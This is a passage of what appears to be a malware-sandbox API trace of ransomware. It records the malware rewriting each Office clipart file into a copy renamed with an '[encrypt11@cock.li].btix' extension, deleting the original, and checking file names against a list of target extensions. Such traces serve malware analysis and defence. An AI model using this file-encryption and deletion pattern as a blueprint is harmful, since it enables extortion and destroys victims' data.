files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0155.412] GetLastError () returned 0x0 [0155.412] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2c54, lpOverlapped=0x0) returned 1 [0155.415] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2c60, lpOverlapped=0x0) returned 1 [0155.416] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.416] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.416] SetEndOfFile (hFile=0x35c) returned 1 [0155.420] CloseHandle (hObject=0x35c) returned 1 [0155.420] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.420] SetEndOfFile (hFile=0x3a4) returned 1 [0155.421] CloseHandle (hObject=0x3a4) returned 1 [0155.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 1 [0155.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0155.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0155.422] lstrlenW (lpString=".doc") returned 4 [0155.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.422] lstrlenW (lpString=".docx") returned 5 [0155.422] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0155.422] lstrlenW (lpString=".pdf") returned 4 [0155.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.422] lstrlenW (lpString=".xls") returned 4 [0155.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.422] lstrlenW (lpString=".xlsx") returned 5 [0155.422] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0155.422] lstrlenW (lpString=".ppt") returned 4 [0155.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0155.423] lstrlenW (lpString=".zip") returned 4 [0155.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.423] lstrlenW (lpString=".rar") returned 4 [0155.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.423] lstrlenW (lpString=".bz2") returned 4 [0155.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.423] lstrlenW (lpString=".7z") returned 3 [0155.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0155.423] lstrlenW (lpString=".dbf") returned 4 [0155.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0155.423] lstrlenW (lpString=".1cd") returned 4 [0155.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0155.423] lstrlenW (lpString=".jpg") returned 4 [0155.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.425] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.425] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.426] GetLastError () returned 0x0 [0155.426] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x812c, lpOverlapped=0x0) returned 1 [0155.494] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x8130, lpOverlapped=0x0) returned 1 [0155.495] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.495] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.495] SetEndOfFile (hFile=0x3a4) returned 1 [0155.495] CloseHandle (hObject=0x3a4) returned 1 [0155.495] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.495] SetEndOfFile (hFile=0x348) returned 1 [0155.496] CloseHandle (hObject=0x348) returned 1 [0155.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 1 [0155.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0155.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0155.497] lstrlenW (lpString=".doc") returned 4 [0155.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.497] lstrlenW (lpString=".docx") returned 5 [0155.497] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0155.497] lstrlenW (lpString=".pdf") returned 4 [0155.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.497] lstrlenW (lpString=".xls") returned 4 [0155.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.497] lstrlenW (lpString=".xlsx") returned 5 [0155.497] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0155.497] lstrlenW (lpString=".ppt") returned 4 [0155.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0155.497] lstrlenW (lpString=".zip") returned 4 [0155.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.498] lstrlenW (lpString=".rar") returned 4 [0155.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.498] lstrlenW (lpString=".bz2") returned 4 [0155.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.498] lstrlenW (lpString=".7z") returned 3 [0155.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0155.498] lstrlenW (lpString=".dbf") returned 4 [0155.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0155.498] lstrlenW (lpString=".1cd") returned 4 [0155.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0155.498] lstrlenW (lpString=".jpg") returned 4 [0155.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.523] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.523] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.530] GetLastError () returned 0x0 [0155.530] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x22b0, lpOverlapped=0x0) returned 1 [0155.578] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x22c0, lpOverlapped=0x0) returned 1 [0155.586] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.586] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.593] SetEndOfFile (hFile=0x36c) returned 1 [0155.593] CloseHandle (hObject=0x36c) returned 1 [0155.593] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.593] SetEndOfFile (hFile=0x390) returned 1 [0155.594] CloseHandle (hObject=0x390) returned 1 [0155.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 1 [0155.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0155.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0155.595] lstrlenW (lpString=".doc") returned 4 [0155.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.595] lstrlenW (lpString=".docx") returned 5 [0155.595] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0155.595] lstrlenW (lpString=".pdf") returned 4 [0155.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.595] lstrlenW (lpString=".xls") returned 4 [0155.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.595] lstrlenW (lpString=".xlsx") returned 5 [0155.595] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0155.595] lstrlenW (lpString=".ppt") returned 4 [0155.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0155.595] lstrlenW (lpString=".zip") returned 4 [0155.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.595] lstrlenW (lpString=".rar") returned 4 [0155.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.595] lstrlenW (lpString=".bz2") returned 4 [0155.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.595] lstrlenW (lpString=".7z") returned 3 [0155.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0155.596] lstrlenW (lpString=".dbf") returned 4 [0155.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0155.596] lstrlenW (lpString=".1cd") returned 4 [0155.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68 [0155.596] lstrlenW (lpString=".jpg") returned 4 [0155.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.596] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.596] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.596] GetLastError () returned 0x0 [0155.596] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3c58, lpOverlapped=0x0) returned 1 [0155.605] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3c60, lpOverlapped=0x0) returned 1 [0155.606] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.606] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.607] SetEndOfFile (hFile=0x36c) returned 1 [0155.610] CloseHandle (hObject=0x36c) returned 1 [0155.610] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.610] SetEndOfFile (hFile=0x390) returned 1 [0155.615] CloseHandle (hObject=0x390) returned 1 [0155.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153307.wmf")) returned 1 [0155.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0155.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0155.616] lstrlenW (lpString=".doc") returned 4 [0155.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.616] lstrlenW (lpString=".docx") returned 5 [0155.616] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0155.616] lstrlenW (lpString=".pdf") returned 4 [0155.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.616] lstrlenW (lpString=".xls") returned 4 [0155.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.616] lstrlenW (lpString=".xlsx") returned 5 [0155.616] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0155.616] lstrlenW (lpString=".ppt") returned 4 [0155.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0155.616] lstrlenW (lpString=".zip") returned 4 [0155.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.616] lstrlenW (lpString=".rar") returned 4 [0155.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.616] lstrlenW (lpString=".bz2") returned 4 [0155.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString=".7z") returned 3 [0155.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0155.617] lstrlenW (lpString=".dbf") returned 4 [0155.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0155.617] lstrlenW (lpString=".1cd") returned 4 [0155.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153307.WMF") returned 68 [0155.617] lstrlenW (lpString=".jpg") returned 4 [0155.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.631] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.631] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0155.633] GetLastError () returned 0x0 [0155.633] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x85d0, lpOverlapped=0x0) returned 1 [0155.638] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x85e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x85e0, lpOverlapped=0x0) returned 1 [0155.639] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.639] WriteFile (in: hFile=0x37c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.640] SetEndOfFile (hFile=0x37c) returned 1 [0155.640] CloseHandle (hObject=0x37c) returned 1 [0155.640] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.640] SetEndOfFile (hFile=0x364) returned 1 [0155.641] CloseHandle (hObject=0x364) returned 1 [0155.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 1 [0155.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0155.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0155.643] lstrlenW (lpString=".doc") returned 4 [0155.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.643] lstrlenW (lpString=".docx") returned 5 [0155.643] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.643] lstrlenW (lpString=".pdf") returned 4 [0155.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.643] lstrlenW (lpString=".xls") returned 4 [0155.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.644] lstrlenW (lpString=".xlsx") returned 5 [0155.644] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.644] lstrlenW (lpString=".ppt") returned 4 [0155.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0155.644] lstrlenW (lpString=".zip") returned 4 [0155.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.644] lstrlenW (lpString=".rar") returned 4 [0155.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.644] lstrlenW (lpString=".bz2") returned 4 [0155.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.644] lstrlenW (lpString=".7z") returned 3 [0155.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0155.644] lstrlenW (lpString=".dbf") returned 4 [0155.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0155.644] lstrlenW (lpString=".1cd") returned 4 [0155.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0155.644] lstrlenW (lpString=".jpg") returned 4 [0155.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.645] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.645] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.648] GetLastError () returned 0x0 [0155.648] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x30f0, lpOverlapped=0x0) returned 1 [0155.655] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3100, lpOverlapped=0x0) returned 1 [0155.656] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.656] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.656] SetEndOfFile (hFile=0x3a4) returned 1 [0155.658] CloseHandle (hObject=0x3a4) returned 1 [0155.658] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.658] SetEndOfFile (hFile=0x37c) returned 1 [0155.661] CloseHandle (hObject=0x37c) returned 1 [0155.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 1 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft 